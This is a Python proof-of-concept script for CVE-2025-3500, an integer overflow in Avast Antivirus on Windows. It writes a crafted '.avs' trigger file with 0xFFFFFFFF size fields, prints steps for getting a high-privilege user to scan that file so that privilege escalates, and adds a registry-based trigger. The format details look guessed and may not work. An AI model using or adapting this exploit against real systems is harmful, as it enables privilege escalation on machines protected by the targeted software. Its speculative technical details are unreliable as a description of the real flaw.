CVE-2025-3500

// CVE-2025-3500 PoC - Avast Antivirus Integer Overflow // Author: Security Researcher // Target: Avast Antivirus < 25.3 on Windows import struct import os import sys def create_malicious_file(): """ Generate malicious input to trigger integer overflow in Avast Antivirus. This PoC demonstrates the vulnerability concept. """ # Crafted payload structure payload = bytearray() # Header - magic number for Avast signature file payload.extend(b'AVS1') # Avast signature header payload.extend(struct.pack('<I', 0xFFFFFFFF)) # Size field - triggers overflow # Integer overflow trigger - large size value # When this value is processed without proper validation, # it can cause integer wraparound leading to buffer overflow trigger_size = 0xFFFFFFFF # Max uint32 value payload.extend(struct.pack('<I', trigger_size)) # Additional malformed data payload.extend(b'\x00' * 64) payload.extend(b'\xFF' * 16) # Write payload to trigger file output_file = 'cve_2025_3500_trigger.avs' with open(output_file, 'wb') as f: f.write(payload) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(payload)} bytes') print(f'[+] Trigger value: 0x{trigger_size:08X}') return output_file def main(): print('=' * 60) print('CVE-2025-3500 PoC - Avast Antivirus Integer Overflow') print('=' * 60) print('[!] This PoC is for educational and research purposes only') print('[!] Do not use for unauthorized testing or attacks') try: create_malicious_file() print('[+] PoC generation completed') print('[+] To trigger the vulnerability:') print(' 1. Ensure Avast Antivirus (25.1.981.6 - 25.x) is installed') print(' 2. Have low-privilege user account') print(' 3. Get high-privilege user to scan/access the trigger file') except Exception as e: print(f'[-] Error: {e}') return 1 return 0 if __name__ == '__main__': sys.exit(main()) # Additional trigger method - Registry-based (if applicable) def create_registry_trigger(): """ Alternative trigger via Windows Registry manipulation. Requires specific Avast configuration keys. """ reg_payload = { 'Path': r'SOFTWARE\Avast\Settings\CustomScan', 'Values': { 'ScanSize': 0xFFFFFFFF, # Integer overflow trigger 'FileCount': 0x7FFFFFFF, # Additional overflow condition } } return reg_payload

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